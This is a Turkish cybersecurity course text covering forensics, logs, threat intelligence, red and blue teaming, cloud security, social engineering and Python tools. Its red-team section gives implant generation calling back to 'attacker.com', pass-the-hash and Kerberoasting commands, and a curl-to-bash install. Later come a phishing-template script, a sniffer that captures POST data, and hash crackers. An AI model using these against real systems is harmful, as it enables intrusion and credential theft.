# Autopsy ile GUI analizi (The Sleuth Kit tabanlı)
autopsy &  # Web arayüzü başlatır

# Dosya kurtarma — Photorec / TestDisk
photorec disk.img

# Silinmiş dosya kurtarma
foremost -i disk.img -o kurtarılan_dosyalar/
bulk_extractor -o çıktı/ disk.img

8.4 Log Adli Analizi

Log analizi; sistem ve uygulama günlüklerinden saldırı izlerini, kullanıcı davranış anomalilerini ve güvenlik ihlali kanıtlarını tespit etme sürecidir. Windows Event Log, Linux Syslog ve web sunucu logları başlıca kaynaklardır.

# Windows Event Log analizi
# Başarıyla oturum açma (Event ID: 4624)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} | 
  Select TimeCreated, Message | Export-Csv loglar.csv

# Başarısız oturum açma (Event ID: 4625)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 100

# Linux — Auth log analizi
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
grep "Accepted password" /var/log/auth.log | tail -50

# Apache access log analizi
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20
grep " 500 " /var/log/apache2/access.log | tail -100   # Sunucu hataları
grep "sqlmap\|nikto\|nmap" /var/log/apache2/access.log  # Tarayıcı tespiti

Tehdit İstihbaratı
(Threat Intelligence)

Tehdit istihbaratı; mevcut ve gelecekteki siber tehditleri anlamak, karakterize etmek ve öngörmek için toplanan, işlenen ve analiz edilen bilginin bütünüdür. Reaktif güvenlikten proaktif savunmaya geçişin temel motorunu oluşturur.

9.1 Tehdit İstihbaratı Türleri

9.2 MITRE ATT&CK Çerçevesi

MITRE ATT&CK (Adversarial Tactics, Techniques & Common Knowledge); gerçek dünya saldırı gözlemlerine dayanan kapsamlı bir bilgi tabanıdır. Tehdit aktörlerinin kullandığı taktik ve teknikleri sistematik biçimde kataloglar. Savunma önlemlerini gerçek tehdit davranışlarıyla eşleştirmek için en güçlü referans çerçevesidir.

ATT&CK Taktik Kategorileri (Enterprise)

1. Reconnaissance (Keşif)
2. Resource Development (Kaynak Geliştirme)
3. Initial Access (İlk Erişim)
4. Execution (Çalıştırma)
5. Persistence (Kalıcılık)
6. Privilege Escalation (Ayrıcalık Yükseltme)
7. Defense Evasion (Savunma Atlatma)
8. Credential Access (Kimlik Bilgisi Erişimi)
9. Discovery (Sistem Keşfi)
10. Lateral Movement (Yanal Hareket)
11. Collection (Veri Toplama)
12. Command and Control (Komuta-Kontrol)
13. Exfiltration (Veri Sızdırma)
14. Impact (Etki)

9.3 Uzlaşma Göstergeleri (IoC) Yönetimi

Uzlaşma Göstergeleri (Indicators of Compromise — IoC); bir sistemin tehdit altında olduğunun ya da ihlal edildiğinin dijital kanıtlarıdır. IP adresleri, domain adları, URL'ler, dosya hash değerleri, registry anahtarları ve mutex adları başlıca IoC türlerini oluşturur.

# STIX/TAXII ile tehdit istihbaratı paylaşımı
# Python — cabby kütüphanesiyle TAXII sorgusu
from cabby import create_client

client = create_client('taxii.threatfeed.com', use_https=True)
collections = client.get_collections()

# Yerel IoC arama — grep ile log tarama
IOCLAR=(
  "185.220.101.50"    # Bilinen Tor çıkış düğümü
  "malicious-domain.com"
  "5d41402abc4b2a76b9719d911017c592"  # MD5 hash
)

for ioc in "${IOCLAR[@]}"; do
    grep -r "$ioc" /var/log/ 2>/dev/null && echo "IOC Bulundu: $ioc"
done

# VirusTotal API entegrasyonu
import requests
API_KEY = "VT_API_KEY"
def vt_hash_check(file_hash):
    url = f"https://www.virustotal.com/api/v3/files/{file_hash}"
    headers = {"x-apikey": API_KEY}
    r = requests.get(url, headers=headers)
    return r.json()

9.4 Tehdit İstihbarat Platformları (TIP)

Tehdit İstihbarat Platformları; IoC'leri toplamak, depolamak, zenginleştirmek ve güvenlik araçlarıyla entegre etmek için kullanılan özelleşmiş platformlardır. OpenCTI ve MISP açık kaynaklı; Recorded Future, Mandiant Advantage ve CrowdStrike Falcon Intelligence ticari seçenekler arasında sayılabilir.

Red Team / Blue Team /
Purple Team

Kurumsal güvenlik olgunluğunun zirvesinde yer alan adversary simulation programları; gerçek saldırgan davranışlarını simüle ederek savunma kapasitesini test eden ve geliştiren kapsamlı bir çerçeve sunar.

10.1 Red Team: Saldırı Simülasyonu

Red Team; kurumun güvenlik politikaları, süreçleri ve teknolojisinin gerçek bir saldırgan gibi davranan profesyoneller tarafından kapsamlı biçimde test edildiği tam ölçekli bir adversary simulation programıdır. Basit bir sızma testinin ötesinde; sosyal mühendislik, fiziksel güvenlik testleri ve uzun soluklu kampanyaları kapsar.

10.1.1 C2 Altyapısı Kurulumu

# Cobalt Strike (lisanslı) alternatifi — Havoc C2 (açık kaynak)
# C2 sunucu kurulumu
git clone https://github.com/HavocFramework/Havoc
cd Havoc && make

# Sliver C2 — Go tabanlı açık kaynak
curl https://sliver.sh/install | sudo bash
sliver-server daemon &
sliver-client connect localhost:31337

# Listener oluşturma
sliver > mtls --lport 8888

# Implant derleme
sliver > generate --mtls attacker.com --os windows --arch amd64 --save /tmp/implant.exe

10.1.2 Yanal Hareket Teknikleri

# Pass-the-Hash saldırısı
impacket-psexec -hashes :NTLM_HASH administrator@192.168.1.10

# Kerberoasting — Servis hesabı hash'i çıkarma
impacket-GetUserSPNs domain.local/kullanici:parola -dc-ip 10.0.0.1 -request

# BloodHound — AD ilişki haritalaması
bloodhound-python -u kullanici -p parola -d domain.local -ns 10.0.0.1 -c all

# WMI ile uzak komut çalıştırma
impacket-wmiexec domain.local/admin:parola@192.168.1.10

10.2 Blue Team: Savunma Operasyonları

Blue Team; kurumun siber güvenlik savunma faaliyetlerini yürüten iç ekibi temsil eder. SOC (Security Operations Center) bünyesinde çalışan Blue Team; tehditleri izleme, tespit etme, analiz etme ve müdahale etme sorumluluğunu taşır.

10.2.1 SIEM ile Olay Tespiti

# Elastic SIEM / Kibana — KQL sorgu örnekleri

# Başarısız oturum açma brute force tespiti
event.code: 4625 | stats count by source.ip | where count > 10

# Yetkisiz PowerShell çalıştırma
process.name: "powershell.exe" and process.args: "*-EncodedCommand*"

# Lateral movement — PsExec tespiti
event.code: 7045 and winlog.event_data.ServiceName: "PSEXESVC"

# Anormal ağ bağlantısı — Beaconing tespiti
destination.port: (80 or 443 or 8080) and
network.bytes < 10000 and
@timestamp: * | stats count by source.ip, destination.ip | where count > 100

# Splunk SPL sorgu örnekleri
index=windows EventCode=4624 Logon_Type=3 NOT src_ip=10.0.0.0/8
| stats count by src_ip, user | sort -count

# Credential dumping tespiti (Mimikatz)
index=sysmon EventCode=10 TargetImage="*lsass.exe"
| table _time, SourceImage, TargetImage

10.3 Purple Team: Sürekli İyileştirme Döngüsü

Purple Team yaklaşımı; Red Team ve Blue Team'in silo'larını kıran, her iki tarafın birlikte çalışarak savunma kapasitesini sürekli geliştirdiği işbirlikçi bir modeldir. Her saldırı tekniği test edilirken Blue Team'in bunu tespit edip tespit edemediği birlikte değerlendirilir; eksiklikler anında giderilir.

Bulut Güvenliği
(Cloud Security)

Bulut bilişim; ölçeklenebilirlik ve maliyet avantajları sunurken beraberinde farklı risk ve sorumluluk dinamikleri getirmektedir. Paylaşılan sorumluluk modeli; güvenliğin hem sağlayıcı hem de müşteri tarafından sahiplenilmesini zorunlu kılar.

11.1 Paylaşılan Sorumluluk Modeli

Bulut güvenliğinin temelinde yatan en kritik kavram; müşteri ile bulut sağlayıcısı arasındaki sorumluluk sınırlarının netleştirilmesidir. Bu sınır; kullanılan servis modeline (IaaS, PaaS, SaaS) göre farklılık gösterir.

11.2 AWS Güvenlik Yapılandırması

# AWS CLI — IAM En Az Ayrıcalık Kontrolü
aws iam get-account-summary
aws iam list-users --output table
aws iam list-attached-user-policies --user-name kullanici

# Açık S3 bucket tespiti
aws s3api list-buckets --query 'Buckets[].Name'
aws s3api get-bucket-acl --bucket hedef-bucket-adi
aws s3api get-bucket-policy --bucket hedef-bucket-adi

# Security Group — Açık SSH tespiti
aws ec2 describe-security-groups --query \
  "SecurityGroups[?contains(IpPermissions[].IpRanges[].CidrIp, '0.0.0.0/0')].[GroupId,GroupName]"

# CloudTrail log analizi — Şüpheli API çağrıları
aws logs filter-log-events \
  --log-group-name CloudTrail/DefaultLogGroup \
  --filter-pattern '{ $.errorCode = "*UnauthorizedAccess*" }'

# ScoutSuite — Otomatik bulut güvenlik denetimi
scout aws --report-dir ./raporlar

11.3 Container ve Kubernetes Güvenliği

Konteyner teknolojileri; uygulama geliştirme ve dağıtımında devrim yaratırken kendine özgü güvenlik zorlukları da beraberinde getirmiştir. Docker imajlarındaki güvenlik açıkları, aşırı ayrıcalıklı konteynerler ve yanlış yapılandırılmış Kubernetes ortamları saldırganlar için cazip hedefler oluşturur.

# Docker imajı güvenlik taraması
docker scan ubuntu:latest
trivy image nginx:latest
snyk container test myapp:latest

# Kubernetes yapılandırma analizi
kube-bench run --targets master,node
kubeaudit all -f audit_raporu.txt

# Aşırı ayrıcalıklı pod tespiti
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged == true)'

# NetworkPolicy kontrolü
kubectl get networkpolicies --all-namespaces
kubectl describe networkpolicy -n production

Zero Trust Mimari ve
Kimlik Güvenliği

"Asla güvenme, daima doğrula" felsefesine dayanan Zero Trust; geleneksel perimetre tabanlı güvenlik anlayışının yerini alan modern güvenlik paradigmasıdır. Ağ konumundan bağımsız olarak her erişim isteği doğrulanır ve yetkilendirilir.

12.1 Zero Trust Prensipleri

12.2 Kimlik Merkezli Güvenlik

Zero Trust'ın uygulanmasında kimlik; yeni perimetre olarak konumlanır. Tüm erişim kararları; kullanıcı kimliği, cihaz durumu, konum, zaman ve davranış analizine dayalı dinamik bir risk değerlendirmesine göre verilir.

12.2.1 Çok Faktörlü Kimlik Doğrulama (MFA)

MFA; hesap ele geçirme saldırılarının büyük çoğunluğunu engelleyen en etkili güvenlik kontrollerinden biridir. Microsoft'un araştırmalarına göre MFA; otomatik hesap saldırılarının %99.9'unu engeller. TOTP (Time-based OTP), FIDO2/WebAuthn ve push notification tabanlı MFA seçenekleri arasında en güvenli olanı FIDO2'dir.

12.2.2 Privileged Access Management (PAM)

PAM çözümleri; ayrıcalıklı hesapların (domain admin, root, servis hesapları) güvenli yönetimini sağlar. Şifre kasası, oturum kaydı, JIT erişim ve ayrıcalıklı aktivite izleme PAM'ın temel özelliklerini oluşturur. CyberArk, Thycotic ve HashiCorp Vault bu alandaki öne çıkan çözümlerdir.

12.3 Mikrosegmentasyon

Mikrosegmentasyon; ağı granüler iş yükü düzeyinde izole ederek saldırganların ağ içinde serbestçe hareket etmesini engeller. Geleneksel segmentasyonun VLAN sınırlarının çok ötesine geçerek; her uygulama veya iş yükü için ayrı güvenlik politikaları tanımlanmasına imkân verir.

Sosyal Mühendislik ve
İnsan Faktörü

Teknik savunmalar ne kadar güçlü olursa olsun, en gelişmiş siber saldırıların önemli bir kısmı insan psikolojisini hedef alır. Sosyal mühendislik; teknik değil, psikolojik manipülasyon yoluyla kişileri istenen eylemleri gerçekleştirmeye ikna etme sanatıdır.

13.1 Sosyal Mühendislik Psikolojisi

Sosyal mühendislik saldırıları; temel insan psikolojik eğilimlerini sömürür. Robert Cialdini'nin etki ilkeleri bu bağlamda kritik referans noktaları sunar:

• Otorite (Authority): İnsanlar otoriter figürlere güvenir. "IT departmanından arıyorum, acil şifre güncellemeniz gerekiyor" senaryosu bu prensibe dayanır.
• Kıtlık ve Aciliyet (Scarcity/Urgency): "Hesabınız 24 saat içinde kapatılacak" gibi sahte aciliyetler, eleştirel düşünceyi devre dışı bırakır.
• Sosyal Kanıt (Social Proof): "Ekibinizdeki herkes bu formu doldurdu" gibi ifadeler, uyum eğilimini tetikler.
• Beğeni (Liking): Tanıdık ya da beğenilen birinden gelen isteklere uyma ihtimali artar. Spear-phishing'de kurban profilleme bu prensip üzerine kuruludur.
• Mütekabiliyet (Reciprocity): Birine yardım ettikten sonra bir şey istemek, ret olasılığını düşürür.

13.2 Phishing Saldırı Türleri

13.3 Phishing Kampanyası Simülasyonu

# GoPhish — Açık kaynak phishing simülasyon platformu
# Kurulum
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish*.zip && ./gophish &

# API ile kampanya oluşturma
import requests, json

base_url = "https://localhost:3333/api"
api_key = "GOPHISH_API_KEY"
headers = {"Authorization": f"Bearer {api_key}"}

# E-posta şablonu oluşturma
template = {
    "name": "IT Güvenlik Uyarısı",
    "subject": "Acil: Şifrenizi Güncellemeniz Gerekiyor",
    "html": "<p>Sayın {{.FirstName}},<br>Lütfen <a href='{{.URL}}'>tıklayın</a></p>"
}
requests.post(f"{base_url}/templates/", json=template, headers=headers, verify=False)

13.4 Güvenlik Farkındalığı Eğitimi

Sosyal mühendislik saldırılarına karşı en etkili savunma; teknolojik değil insani bir savunmadır: güvenlik farkındalığı eğitimi. Ancak yıllık zorunlu eğitim modul formatı yetersiz kalmaktadır; davranış değişikliği yaratan eğitimler şu özelliklere sahip olmalıdır:

• Gerçek saldırı senaryolarını simüle eden pratik uygulamalar
• Anlık geri bildirim ve öğrenme momentleri
• Sürekli ve kısa formatlı içerik (microlearning)
• Ölçülebilir davranış metrikleri (tıklama oranı takibi)
• Olumlu pekiştirme ve cezasız raporlama kültürü

Yapay Zekâ ve
Siber Güvenlik

Yapay zekânın siber güvenlik alanına girişi; hem savunma kapasitesini güçlendiren hem de saldırı sofistikasyonunu artıran çift taraflı bir dönüşümü beraberinde getirmektedir. Bu ikili etki, sektörün en dinamik evrimini temsil etmektedir.

14.1 Savunmada Yapay Zekâ

Makine öğrenimi ve yapay zekâ; güvenlik analistlerinin işlem kapasitesini katlayan, insan gözünün kaçırabileceği anomalileri tespit eden ve müdahale sürelerini dramatik biçimde kısaltan güçlü araçlar sunmaktadır.

14.1.1 UEBA: Kullanıcı ve Varlık Davranış Analitiği

UEBA (User and Entity Behavior Analytics); normal davranışın istatistiksel modelini oluşturarak sapmalar üzerinden tehditleri tespit eder. İçeriden tehdit tespiti, ele geçirilmiş hesap tanımlama ve veri sızdırma tespitinde özellikle etkilidir.

# Python — Anomali tespiti (Isolation Forest örneği)
import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
from sklearn.preprocessing import StandardScaler

# Kullanıcı log verisi yükleme
df = pd.read_csv('kullanici_logu.csv')

# Özellik mühendisliği
features = ['login_count', 'failed_logins', 'data_accessed_mb',
            'after_hours_logins', 'unique_ips']

X = df[features]
scaler = StandardScaler()
X_scaled = scaler.fit_transform(X)

# Isolation Forest modeli
model = IsolationForest(contamination=0.05, random_state=42, n_estimators=200)
df['anomaly_score'] = model.fit_predict(X_scaled)
df['anomaly'] = (df['anomaly_score'] == -1)

# Anomali tespiti
anomaliler = df[df['anomaly'] == True]
print(f"Tespit edilen anomali: {len(anomaliler)}")
print(anomaliler[['kullanici', 'tarih'] + features].head(20))

14.2 Saldırıda Yapay Zekâ

Yapay zekânın saldırı vektörlerinde kullanımı, siber tehdit ortamını köklü biçimde değiştirmektedir. Kişiselleştirilmiş phishing içeriklerinin oluşturulması, deepfake ses ve video ile gerçekleştirilen vishing saldırıları ve otomatik güvenlik açığı keşfi bu dönüşümün öne çıkan örnekleridir.

Bir araştırmaya göre, yapay zekâ destekli geliştirilen kodların yaklaşık %45'i güvenlik açıkları içermektedir. Bu çalıştığı anlamına gelir, ancak ciddi zafiyetler barındırır — OWASP Top-10 listesindeki XSS, Log Injection gibi risklerle ilişkili olabilmektedir.

— Toprak Ahmet Aydoğmuş, LinkedIn Yazıları

14.2.1 LLM Tabanlı Saldırılar

Büyük Dil Modelleri (LLM) güvenlik riskleri hızla gelişmektedir:

• Prompt Injection: Kötü amaçlı girdilerle LLM sisteminin istenen dışı çıktı üretmesi
• Jailbreaking: Güvenlik filtrelerini atlayan prompt mühendisliği teknikleri
• Training Data Poisoning: Model eğitim verisinin manipülasyonu
• Model Inversion: Model çıktılarından eğitim verisini geri mühendislik

14.3 AI Güvenliği En İyi Uygulamaları

AI destekli kod üretim araçları verimliliği artırırken güvenlik risklerini de beraberinde getirir. Üretim ortamına çıkacak AI kodunun mutlaka şu kontrollerden geçirilmesi şarttır:

1. Manuel güvenlik incelemesi (kod review)
2. Statik analiz araçları (SAST — Bandit, SonarQube)
3. Dinamik analiz ve güvenlik testleri (DAST)
4. Bağımlılık güvenlik açığı taraması (SCA — Snyk, OWASP Dependency-Check)
5. Penetrasyon testi

Python ile Siber Güvenlik
Araç Geliştirme

Python; siber güvenlik profesyonellerinin en çok başvurduğu programlama dilidir. Zengin kütüphane ekosistemi, okunabilir sözdizimi ve hızlı prototipleme kapasitesiyle otomasyon, araç geliştirme ve araştırma alanlarında vazgeçilmez bir konumdadır.

15.1 Ağ Programlama

15.1.1 Port Tarayıcı Geliştirme

#!/usr/bin/env python3
"""
Temel Port Tarayıcı
Geliştiren: Toprak Ahmet Aydoğmuş | Siber Akademi
toprakahmetaydogmus0@gmail.com
"""
import socket
import sys
import threading
from datetime import datetime
from queue import Queue

class PortTarayici:
    def __init__(self, hedef, portlar, thread_sayisi=100, zaman_asimi=1):
        self.hedef = hedef
        self.portlar = portlar
        self.thread_sayisi = thread_sayisi
        self.zaman_asimi = zaman_asimi
        self.acik_portlar = []
        self.kuyruk = Queue()
        self.kilit = threading.Lock()

    def ip_coz(self):
        try:
            return socket.gethostbyname(self.hedef)
        except socket.gaierror:
            print(f"[!] {self.hedef} çözümlenemedi")
            sys.exit(1)

    def port_tara(self, ip, port):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(self.zaman_asimi)
            sonuc = s.connect_ex((ip, port))
            if sonuc == 0:
                with self.kilit:
                    self.acik_portlar.append(port)
                    print(f"  [+] Port {port:5d} AÇIK")
            s.close()
        except Exception:
            pass

    def worker(self, ip):
        while not self.kuyruk.empty():
            port = self.kuyruk.get()
            self.port_tara(ip, port)
            self.kuyruk.task_done()

    def tara(self):
        ip = self.ip_coz()
        print(f"\n{'='*50}")
        print(f"  Hedef: {self.hedef} ({ip})")
        print(f"  Tarih: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        print(f"{'='*50}\n")

        for port in self.portlar:
            self.kuyruk.put(port)

        threadler = []
        for _ in range(min(self.thread_sayisi, len(self.portlar))):
            t = threading.Thread(target=self.worker, args=(ip,), daemon=True)
            t.start()
            threadler.append(t)

        self.kuyruk.join()

        print(f"\n[*] Tarama tamamlandı. {len(self.acik_portlar)} açık port")
        return sorted(self.acik_portlar)

if __name__ == "__main__":
    hedef = input("Hedef (IP/hostname): ")
    tarayici = PortTarayici(
        hedef=hedef,
        portlar=range(1, 1025),
        thread_sayisi=200
    )
    acik = tarayici.tara()

15.1.2 Ağ Paket Analizi

#!/usr/bin/env python3
"""
Scapy ile Ağ Sniffer
"""
from scapy.all import *
from scapy.layers.http import HTTPRequest, HTTPResponse
import argparse

def paket_yakala(paket):
    if paket.haslayer(HTTPRequest):
        url = paket[HTTPRequest].Host.decode() + paket[HTTPRequest].Path.decode()
        method = paket[HTTPRequest].Method.decode()
        print(f"[HTTP REQ] {method} http://{url}")

        # POST veri yakalama (form gönderimi)
        if paket.haslayer(Raw) and method == 'POST':
            raw_data = paket[Raw].load.decode(errors='replace')
            print(f"  [DATA] {raw_data[:200]}")

    elif paket.haslayer(DNS) and paket[DNS].qr == 0:
        dns_istek = paket[DNS].qd.qname.decode()
        print(f"[DNS REQ] {dns_istek}")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--interface', default='eth0')
    parser.add_argument('-c', '--count', type=int, default=0)
    args = parser.parse_args()

    print(f"[*] {args.interface} üzerinde paket yakalanıyor...")
    sniff(iface=args.interface, prn=paket_yakala,
          store=False, count=args.count)

if __name__ == "__main__":
    main()

15.2 Şifre ve Hash Araçları

#!/usr/bin/env python3
"""
Hash Kırma — Dictionary Attack
Geliştiren: Toprak Ahmet Aydoğmuş | Siber Akademi
"""
import hashlib
import sys
from itertools import product
import string

def hash_hesapla(metin, algoritma='sha256'):
    h = hashlib.new(algoritma)
    h.update(metin.encode('utf-8'))
    return h.hexdigest()

def sozluk_saldirisi(hedef_hash, sozluk_dosyasi, algoritma='md5'):
    print(f"[*] Sözlük saldırısı başlıyor...")
    print(f"[*] Hedef hash: {hedef_hash}")

    try:
        with open(sozluk_dosyasi, 'r', errors='ignore') as f:
            for satir_no, satir in enumerate(f, 1):
                deneme = satir.strip()
                hesaplanan = hash_hesapla(deneme, algoritma)

                if hesaplanan == hedef_hash:
                    print(f"\n[+] BULUNDU! Şifre: {deneme}")
                    print(f"[+] {satir_no}. satırda")
                    return deneme

                if satir_no % 10000 == 0:
                    print(f"[.] {satir_no} deneme yapıldı...", end='\r')

    except FileNotFoundError:
        print(f"[!] Sözlük dosyası bulunamadı: {sozluk_dosyasi}")

    print("\n[-] Hash kırılamadı")
    return None

def kaba_kuvvet(hedef_hash, maks_uzunluk=4, algoritma='md5',
                karakter_seti=string.ascii_lowercase + string.digits):
    print(f"[*] Kaba kuvvet saldırısı başlıyor...")
    deneme_sayisi = 0

    for uzunluk in range(1, maks_uzunluk + 1):
        for kombinasyon in product(karakter_seti, repeat=uzunluk):
            deneme = ''.join(kombinasyon)
            deneme_sayisi += 1

            if hash_hesapla(deneme, algoritma) == hedef_hash:
                print(f"\n[+] BULUNDU! Şifre: {deneme}")
                print(f"[+] {deneme_sayisi} denemede kırıldı")
                return deneme

            if deneme_sayisi % 100000 == 0:
                print(f"[.] {deneme_sayisi} deneme...", end='\r')

    return None

# Güvenli parola hash'leme (bcrypt)
import bcrypt

def parola_hashle(parola):
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(parola.encode(), salt)

def parola_dogrula(parola, hashlenmiş):
    return bcrypt.checkpw(parola.encode(), hashlenmiş)

15.3 OSINT Otomasyon Scripti

#!/usr/bin/env python3
"""
Kapsamlı OSINT Toplayıcı
Geliştiren: Toprak Ahmet Aydoğmuş | Siber Akademi
toprakahmetaydogmus0@gmail.com
"""
import requests
import socket
import json
import subprocess
import re
from bs4 import BeautifulSoup
from datetime import datetime

class OSINTToplayici:
    def __init__(self, hedef):
        self.hedef = hedef
        self.sonuclar = {}
        self.oturum = requests.Session()
        self.oturum.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/120.0'
        })

    def dns_bilgisi(self):
        """DNS kayıtları toplama"""
        bilgiler = {}
        try:
            # A kaydı
            bilgiler['A'] = socket.gethostbyname(self.hedef)
        except: pass

        # MX kayıtları
        try:
            result = subprocess.run(['dig', 'MX', self.hedef, '+short'],
                                    capture_output=True, text=True)
            bilgiler['MX'] = result.stdout.strip().split('\n')
        except: pass

        # TXT kayıtları (SPF, DKIM, DMARC)
        try:
            result = subprocess.run(['dig', 'TXT', self.hedef, '+short'],
                                    capture_output=True, text=True)
            bilgiler['TXT'] = result.stdout.strip()
        except: pass

        self.sonuclar['dns'] = bilgiler
        return bilgiler

    def subdomains_bul(self):
        """Crt.sh üzerinden subdomain keşfi"""
        url = f"https://crt.sh/?q=%.{self.hedef}&output=json"
        try:
            r = self.oturum.get(url, timeout=15)
            veri = r.json()
            subdomainler = set()
            for kayit in veri:
                for isim in kayit.get('name_value', '').split('\n'):
                    isim = isim.strip().lstrip('*.')
                    if isim and '.' in isim:
                        subdomainler.add(isim)
            self.sonuclar['subdomainler'] = sorted(subdomainler)
            return sorted(subdomainler)
        except Exception as e:
            print(f"[!] Subdomain hatası: {e}")
            return []

    def shodan_sorgula(self, api_key):
        """Shodan API sorgusu"""
        try:
            ip = socket.gethostbyname(self.hedef)
            r = requests.get(
                f"https://api.shodan.io/shodan/host/{ip}",
                params={'key': api_key}
            )
            veri = r.json()
            self.sonuclar['shodan'] = {
                'ip': ip,
                'org': veri.get('org'),
                'country': veri.get('country_name'),
                'os': veri.get('os'),
                'ports': veri.get('ports', []),
                'vulns': veri.get('vulns', [])
            }
        except Exception as e:
            print(f"[!] Shodan hatası: {e}")

    def rapor_olustur(self):
        """JSON raporu"""
        self.sonuclar['meta'] = {
            'hedef': self.hedef,
            'tarih': datetime.now().isoformat(),
            'arac': 'Siber Akademi OSINT Toplayıcı v1.0',
            'gelistiren': 'Toprak Ahmet Aydoğmuş'
        }

        dosya_adi = f"osint_{self.hedef}_{datetime.now().strftime('%Y%m%d_%H%M')}.json"
        with open(dosya_adi, 'w', encoding='utf-8') as f:
            json.dump(self.sonuclar, f, ensure_ascii=False, indent=2)

        print(f"\n[+] Rapor kaydedildi: {dosya_adi}")
        return dosya_adi